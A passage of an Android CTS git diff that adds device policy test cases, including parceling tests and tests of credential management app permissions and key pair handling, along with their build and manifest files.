+            mProperties = sTestEnvironmentResetter.createDefaultProperties();
             mProperties.setProperty("user.home", "");
             mProperties.setProperty("java.io.tmpdir", context.getCacheDir().getAbsolutePath());
             // The CDD mandates that devices that support WiFi are the only ones that will have
@@ -219,7 +276,7 @@
             PackageManager pm = context.getPackageManager();
             mProperties.setProperty("android.cts.device.multicast",
                     Boolean.toString(pm.hasSystemFeature(PackageManager.FEATURE_WIFI)));
-            mDefaultIs24Hour = getDateFormatIs24Hour();
+            mDefaultIs24Hour = sTestEnvironmentResetter.getDateFormatIs24Hour();
 
             // There are tests in libcore that should be disabled for low ram devices. They can't
             // access ActivityManager to call isLowRamDevice, but can read system properties.
@@ -239,24 +296,7 @@
             ResponseCache.setDefault(null);
             HttpsURLConnection.setDefaultHostnameVerifier(mHostnameVerifier);
             HttpsURLConnection.setDefaultSSLSocketFactory(mSslSocketFactory);
-            setDateFormatIs24Hour(mDefaultIs24Hour);
-        }
-
-        private static Boolean getDateFormatIs24Hour() {
-            try {
-                return (Boolean) sDateFormatIs24HourField.get(null);
-            } catch (ReflectiveOperationException e) {
-                throw new AssertionError("Unable to get java.text.DateFormat.is24Hour", e);
-            }
-        }
-
-        private static void setDateFormatIs24Hour(Boolean value) {
-            try {
-                sDateFormatIs24HourField.set(null, value);
-            } catch (ReflectiveOperationException e) {
-                throw new AssertionError("Unable to set java.text.DateFormat.is24Hour", e);
-            }
+            sTestEnvironmentResetter.setDateFormatIs24Hour(mDefaultIs24Hour);
         }
     }
-
 }
diff --git a/tests/devicepolicy/Android.bp b/tests/devicepolicy/Android.bp
new file mode 100644
index 0000000..9ae1302
--- /dev/null
+++ b/tests/devicepolicy/Android.bp
@@ -0,0 +1,42 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsDevicePolicyTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "truth-prebuilt",
+        "androidx.test.ext.junit",
+        "testng", // used for assertThrows
+        // TODO: Remove this once we remove ui automator usage
+        "androidx.test.uiautomator_uiautomator",
+        "EventLib",
+        "ActivityContext",
+        "Harrier",
+        "DeviceAdminApp"
+    ],
+    srcs: ["src/**/*.java"],
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/devicepolicy/AndroidManifest.xml b/tests/devicepolicy/AndroidManifest.xml
new file mode 100644
index 0000000..79b958c
--- /dev/null
+++ b/tests/devicepolicy/AndroidManifest.xml
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.devicepolicy.cts"
+          android:targetSandboxVersion="2">
+
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
+
+    <application android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+
+        <activity android:name=".MainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".NonMainActivity"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="nonMainActivity"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name=".NonExportedActivity"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.devicepolicy.cts"
+                     android:label="CTS tests for device policy" />
+</manifest>
diff --git a/tests/devicepolicy/AndroidTest.xml b/tests/devicepolicy/AndroidTest.xml
new file mode 100644
index 0000000..1e16d2e
--- /dev/null
+++ b/tests/devicepolicy/AndroidTest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Device Policy test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Instant apps can never be device admin / profile owner / device owner so positive tests
+         here are not applicable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="multiuser" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
+        <option name="test-file-name" value="CtsDevicePolicyTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.devicepolicy.cts" />
+        <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile" />
+        <option name="exclude-annotation" value="com.android.bedstead.harrier.annotations.RequireRunOnSecondaryUser" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/devicepolicy/OWNERS b/tests/devicepolicy/OWNERS
new file mode 100644
index 0000000..b37176e
--- /dev/null
+++ b/tests/devicepolicy/OWNERS
@@ -0,0 +1,7 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
+alexkershaw@google.com
+eranm@google.com
+rubinxu@google.com
+sandness@google.com
+pgrafov@google.com
+scottjonathan@google.com
diff --git a/tests/devicepolicy/res/layout/main.xml b/tests/devicepolicy/res/layout/main.xml
new file mode 100644
index 0000000..af2bb77
--- /dev/null
+++ b/tests/devicepolicy/res/layout/main.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/user_textview"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+    />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AdminPermissionControlParamsTests.java b/tests/devicepolicy/src/android/devicepolicy/cts/AdminPermissionControlParamsTests.java
new file mode 100644
index 0000000..f7eb651
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AdminPermissionControlParamsTests.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DevicePolicyManager;
+import android.os.Parcel;
+import android.permission.AdminPermissionControlParams;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(BedsteadJUnit4.class)
+public class AdminPermissionControlParamsTests {
+    private static final String PKG = "somePackage";
+    private static final String PERMISSION = "somePackage";
+    private static final int GRANT_STATE = DevicePolicyManager.PERMISSION_GRANT_STATE_GRANTED;
+    private static final boolean CAN_ADMIN_GRANT = true;
+
+    @Postsubmit(reason="new test")
+    @Test
+    public void gettersReturnConstructorValue() {
+        AdminPermissionControlParams params = createViaParcel(
+                PKG, PERMISSION, GRANT_STATE, CAN_ADMIN_GRANT);
+
+        assertThat(params.getGranteePackageName()).isEqualTo(PKG);
+        assertThat(params.getPermission()).isEqualTo(PERMISSION);
+        assertThat(params.getGrantState()).isEqualTo(GRANT_STATE);
+        assertThat(params.canAdminGrantSensorsPermissions()).isEqualTo(CAN_ADMIN_GRANT);
+    }
+
+    @Postsubmit(reason="new test")
+    @Test
+    public void correctParcelingAndUnparceling() {
+        AdminPermissionControlParams params = createViaParcel();
+
+        Parcel parcel = Parcel.obtain();
+        params.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        AdminPermissionControlParams loadedParams =
+                AdminPermissionControlParams.CREATOR.createFromParcel(parcel);
+
+        assertThat(params.getGranteePackageName()).isEqualTo(loadedParams.getGranteePackageName());
+        assertThat(params.getPermission()).isEqualTo(loadedParams.getPermission());
+        assertThat(params.getGrantState()).isEqualTo(loadedParams.getGrantState());
+        assertThat(params.canAdminGrantSensorsPermissions())
+                .isEqualTo(loadedParams.canAdminGrantSensorsPermissions());
+    }
+
+    private AdminPermissionControlParams createViaParcel(
+            String packageName, String permission, int grantState, boolean canAdminGrant) {
+        Parcel parcel = Parcel.obtain();
+        parcel.writeString(packageName);
+        parcel.writeString(permission);
+        parcel.writeInt(grantState);
+        parcel.writeBoolean(canAdminGrant);
+        parcel.setDataPosition(0);
+
+        return AdminPermissionControlParams.CREATOR.createFromParcel(parcel);
+    }
+
+    private AdminPermissionControlParams createViaParcel() {
+        return createViaParcel(PKG, PERMISSION, GRANT_STATE, CAN_ADMIN_GRANT);
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationPolicyTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationPolicyTest.java
new file mode 100644
index 0000000..b990f6b
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/AppUriAuthenticationPolicyTest.java
@@ -0,0 +1,155 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.fail;
+
+import android.net.Uri;
+import android.os.Parcel;
+import android.security.AppUriAuthenticationPolicy;
+
+import androidx.test.filters.SmallTest;
+
+import com.android.bedstead.harrier.BedsteadJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Map;
+
+@SmallTest
+@RunWith(BedsteadJUnit4.class)
+public final class AppUriAuthenticationPolicyTest {
+
+    private final static String PACKAGE_NAME = "com.android.test";
+    private final static Uri URI = Uri.parse("test.com");
+    private final static Uri URI2 = Uri.parse("test2.com");
+    private final static String ALIAS = "testAlias";
+    private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+            new AppUriAuthenticationPolicy.Builder()
+                    .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                    .build();
+
+    @Test
+    public void getAppAndUrisMappings_returnsMapping() {
+        AppUriAuthenticationPolicy authenticationPolicy =
+                new AppUriAuthenticationPolicy.Builder()
+                        .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                        .build();
+
+        Map<String, Map<Uri, String>> appToUris = authenticationPolicy.getAppAndUriMappings();
+
+        assertThat(appToUris.containsKey(PACKAGE_NAME)).isTrue();
+        Map<Uri, String> urisToAlias = appToUris.get(PACKAGE_NAME);
+        assertThat(urisToAlias.containsKey(URI)).isTrue();
+        assertThat(urisToAlias.get(URI)).isEqualTo(ALIAS);
+    }
+
+    @Test
+    public void getAppAnyUrisMappings_multipleUrisSameAlias_containsBothUris() {
+        AppUriAuthenticationPolicy authenticationPolicy =
+                new AppUriAuthenticationPolicy.Builder()
+                        .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                        .addAppAndUriMapping(PACKAGE_NAME, URI2, ALIAS)
+                        .build();
+
+        Map<String, Map<Uri, String>> appToUris = authenticationPolicy.getAppAndUriMappings();
+        Map<Uri, String> urisToAlias = appToUris.get(PACKAGE_NAME);
+
+        assertThat(urisToAlias.containsKey(URI)).isTrue();
+        assertThat(urisToAlias.get(URI)).isEqualTo(ALIAS);
+        assertThat(urisToAlias.containsKey(URI2)).isTrue();
+        assertThat(urisToAlias.get(URI2)).isEqualTo(ALIAS);
+    }
+
+    @Test
+    public void addAppAndUriMapping_nullUri_throwException() {
+        try {
+            new AppUriAuthenticationPolicy.Builder().addAppAndUriMapping(
+                    PACKAGE_NAME, /* uris= */ null, ALIAS);
+            fail("Shall not take null inputs");
+        } catch (NullPointerException expected) {
+            // Expected behavior, nothing to do.
+        }
+    }
+
+    @Test
+    public void addAppAndUriMapping_nullPackageName_throwException() {
+        try {
+            new AppUriAuthenticationPolicy.Builder().addAppAndUriMapping(
+                    /* packageName= */ null, URI, ALIAS);
+            fail("Shall not take null inputs");
+        } catch (NullPointerException expected) {
+            // Expected behavior, nothing to do.
+        }
+    }
+
+    @Test
+    public void addAppAndUriMapping_nullAlias_throwException() {
+        try {
+            new AppUriAuthenticationPolicy.Builder().addAppAndUriMapping(PACKAGE_NAME,
+                    URI, /* alias= */null);
+            fail("Shall not take null inputs");
+        } catch (NullPointerException expected) {
+            // Expected behavior, nothing to do.
+        }
+    }
+
+    @Test
+    public void AppUriAuthenticationPolicy_parcel() {
+        Parcel parcel = null;
+        try {
+            // Write to parcel
+            parcel = Parcel.obtain();
+            parcel.writeParcelable(AUTHENTICATION_POLICY, 0);
+            parcel.setDataPosition(0);
+
+            // Read from parcel
+            AppUriAuthenticationPolicy createdPolicy =
+                    parcel.readParcelable(/* classLoader = */null);
+
+            assertThat(createdPolicy).isNotNull();
+            assertThat(createdPolicy).isEqualTo(AUTHENTICATION_POLICY);
+        } finally {
+            if (parcel != null) {
+                parcel.recycle();
+            }
+        }
+    }
+
+    @Test
+    public void equals_sameAuthenticationPolicy_equal() {
+        AppUriAuthenticationPolicy authenticationPolicy =
+                new AppUriAuthenticationPolicy.Builder()
+                        .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                        .build();
+
+        assertThat(authenticationPolicy).isEqualTo(AUTHENTICATION_POLICY);
+    }
+
+    @Test
+    public void equals_differentAuthenticationPolicy_notEqual() {
+        AppUriAuthenticationPolicy authenticationPolicy =
+                new AppUriAuthenticationPolicy.Builder()
+                        .addAppAndUriMapping(PACKAGE_NAME, URI2, ALIAS)
+                        .build();
+
+        assertThat(authenticationPolicy).isNotEqualTo(AUTHENTICATION_POLICY);
+    }
+}
diff --git a/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
new file mode 100644
index 0000000..d70179a
--- /dev/null
+++ b/tests/devicepolicy/src/android/devicepolicy/cts/CredentialManagementAppTest.java
@@ -0,0 +1,437 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.devicepolicy.cts;
+
+import static android.app.admin.DevicePolicyManager.INSTALLKEY_SET_USER_SELECTABLE;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertTrue;
+
+import static org.testng.Assert.assertThrows;
+
+import android.app.AppOpsManager;
+import android.app.UiAutomation;
+import android.app.admin.DevicePolicyManager;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Process;
+import android.security.AppUriAuthenticationPolicy;
+import android.security.AttestedKeyPair;
+import android.security.KeyChain;
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.activitycontext.ActivityContext;
+import com.android.bedstead.harrier.BedsteadJUnit4;
+import com.android.bedstead.harrier.annotations.Postsubmit;
+import com.android.compatibility.common.util.BlockingCallback;
+import com.android.compatibility.common.util.FakeKeys;
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.KeyPair;
+import java.security.NoSuchAlgorithmException;
+import java.security.PrivateKey;
+import java.security.PublicKey;
+import java.security.Signature;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(BedsteadJUnit4.class)
+public class CredentialManagementAppTest {
+
+    private static final PrivateKey PRIVATE_KEY =
+            getPrivateKey(FakeKeys.FAKE_RSA_1.privateKey, "RSA");
+    private static final Certificate CERTIFICATE =
+            getCertificate(FakeKeys.FAKE_RSA_1.caCertificate);
+    private static final Certificate[] CERTIFICATES = new Certificate[]{CERTIFICATE};
+    private static final long KEYCHAIN_WAIT_TIME_MS = TimeUnit.MINUTES.toMillis(1);
+
+    private static final Context CONTEXT = ApplicationProvider.getApplicationContext();
+    private static final String MANAGE_CREDENTIALS = "android:manage_credentials";
+
+    private static final String ALIAS = "com.android.test.rsa";
+    private static final String NOT_IN_USER_POLICY_ALIAS = "anotherAlias";
+    private final static String PACKAGE_NAME = CONTEXT.getPackageName();
+    private final static Uri URI = Uri.parse("https://test.com");
+    private final static AppUriAuthenticationPolicy AUTHENTICATION_POLICY =
+            new AppUriAuthenticationPolicy.Builder()
+                    .addAppAndUriMapping(PACKAGE_NAME, URI, ALIAS)
+                    .build();
+
+    private final static String MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION =
+            "android.permission.MANAGE_CREDENTIAL_MANAGEMENT_APP";
+
+    private final DevicePolicyManager mDpm = CONTEXT.getSystemService(DevicePolicyManager.class);
+    private final int mUserId = Process.myUserHandle().getIdentifier();
+
+    @Postsubmit(reason="new")
+    @Test
+    public void installKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void removeKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.removeKeyPair(/* admin = */ null, ALIAS));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void generateKeyPair_withoutManageCredentialAppOp_throwsException() throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                        buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                        /* idAttestationFlags = */ 0));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void setKeyPairCertificate_withoutManageCredentialAppOp_throwsException()
+            throws Exception {
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ false, mUserId);
+        assertThrows(SecurityException.class,
+                () -> mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS,
+                        Arrays.asList(CERTIFICATE), /* isUserSelectable = */ false));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void installKeyPair_isUserSelectableFlagSet_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        ALIAS, /* flags = */ INSTALLKEY_SET_USER_SELECTABLE));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void installKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+        setCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                        NOT_IN_USER_POLICY_ALIAS, /* flags = */ 0));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void installKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            assertThat(mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES,
+                    ALIAS, 0)).isTrue();
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void hasKeyPair_aliasIsNotInAuthenticationPolicy_throwsException() throws Exception {
+        setCredentialManagementApp();
+
+        try {
+            assertThrows(SecurityException.class, () -> mDpm.hasKeyPair(NOT_IN_USER_POLICY_ALIAS));
+        } finally {
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void hasKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS,
+                    /* flags = */0);
+
+            assertThat(mDpm.hasKeyPair(ALIAS)).isTrue();
+        } finally {
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void removeKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(/* admin = */ null, PRIVATE_KEY, CERTIFICATES, ALIAS, 0);
+        } finally {
+            // Remove keypair as credential management app
+            assertThat(mDpm.removeKeyPair(/* admin = */ null, ALIAS)).isTrue();
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void generateKeyPair_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair as credential management app
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "RSA",
+                    buildRsaKeySpec(ALIAS, /* useStrongBox = */ false),
+                    /* idAttestationFlags = */ 0);
+
+            assertThat(generated).isNotNull();
+            verifySignatureOverData("SHA256withRSA", generated.getKeyPair());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void setKeyPairCertificate_isCredentialManagementApp_success() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Generate keypair and aet keypair certificate as credential management app
+            KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(ALIAS,
+                    KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY).setDigests(
+                    KeyProperties.DIGEST_SHA256).build();
+            AttestedKeyPair generated = mDpm.generateKeyPair(/* admin = */ null, "EC", spec, 0);
+            List<Certificate> certificates = Arrays.asList(CERTIFICATE);
+            mDpm.setKeyPairCertificate(/* admin = */ null, ALIAS, certificates, false);
+
+            // Make sure certificates can be retrieved from KeyChain
+            Certificate[] fetchedCerts = KeyChain.getCertificateChain(CONTEXT, ALIAS);
+
+            assertThat(generated).isNotNull();
+            assertThat(fetchedCerts).isNotNull();
+            assertThat(fetchedCerts.length).isEqualTo(certificates.size());
+            assertThat(fetchedCerts[0].getEncoded()).isEqualTo(certificates.get(0).getEncoded());
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="b/181207615 flaky")
+    @Test
+    public void choosePrivateKeyAlias_isCredentialManagementApp_aliasSelected() throws Exception {
+        setCredentialManagementApp();
+        try {
+            // Install keypair as credential management app
+            mDpm.installKeyPair(null, PRIVATE_KEY, new Certificate[]{CERTIFICATE}, ALIAS, 0);
+            KeyChainAliasCallback callback = new KeyChainAliasCallback();
+
+            ActivityContext.runWithContext((activity) ->
+                    KeyChain.choosePrivateKeyAlias(activity, callback,
+                            /* keyTypes= */ null, /* issuers= */ null, URI, /* alias = */ null)
+            );
+
+            assertThat(callback.await()).isEqualTo(ALIAS);
+        } finally {
+            // Remove keypair as credential management app
+            mDpm.removeKeyPair(/* admin = */ null, ALIAS);
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void isCredentialManagementApp_isNotCredentialManagementApp_returnFalse()
+            throws Exception {
+        removeCredentialManagementApp();
+        assertFalse(KeyChain.isCredentialManagementApp(CONTEXT));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void isCredentialManagementApp_isCredentialManagementApp_returnTrue() throws Exception {
+        setCredentialManagementApp();
+        try {
+            assertTrue(KeyChain.isCredentialManagementApp(CONTEXT));
+        } finally {
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void getCredentialManagementAppPolicy_isNotCredentialManagementApp_throwException()
+            throws Exception {
+        removeCredentialManagementApp();
+        assertThrows(SecurityException.class,
+                () -> KeyChain.getCredentialManagementAppPolicy(CONTEXT));
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void getCredentialManagementAppPolicy_isCredentialManagementApp_returnPolicy()
+            throws Exception {
+        setCredentialManagementApp();
+        try {
+            assertThat(KeyChain.getCredentialManagementAppPolicy(CONTEXT))
+                    .isEqualTo(AUTHENTICATION_POLICY);
+        } finally {
+            removeCredentialManagementApp();
+        }
+    }
+
+    @Postsubmit(reason="new")
+    @Test
+    public void unregisterAsCredentialManagementApp_returnTrue()
+            throws Exception {
+        setCredentialManagementApp();
+
+        try {
+            assertTrue(KeyChain.removeCredentialManagementApp(CONTEXT));
+
+            assertFalse(KeyChain.isCredentialManagementApp(CONTEXT));
+        } catch (Exception e) {
+            removeCredentialManagementApp();
+        }
+    }
+
+    // TODO(scottjonathan): Using either code generation or reflection we could remove the need for
+    //  these boilerplate classes
+    private static class KeyChainAliasCallback extends BlockingCallback<String> implements
+            android.security.KeyChainAliasCallback {
+        @Override
+        public void alias(final String chosenAlias) {
+            callbackTriggered(chosenAlias);
+        }
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
+    private void setCredentialManagementApp() throws Exception {
+        UiAutomation mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            mUiAutomation.adoptShellPermissionIdentity(MANAGE_CREDENTIAL_MANAGEMENT_APP_PERMISSION);
+            assertTrue("Unable to set credential management app",
+                    KeyChain.setCredentialManagementApp(CONTEXT, PACKAGE_NAME,
+                            AUTHENTICATION_POLICY));
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+
+        setManageCredentialsAppOps(PACKAGE_NAME, /* allowed = */ true, mUserId);
+        assertTrue("CredentialManagementApp should have app op MANAGE_CREDENTIALS",
+                isCredentialManagementApp());
+    }
+
+    // TODO (b/174677062): Move this into infrastructure
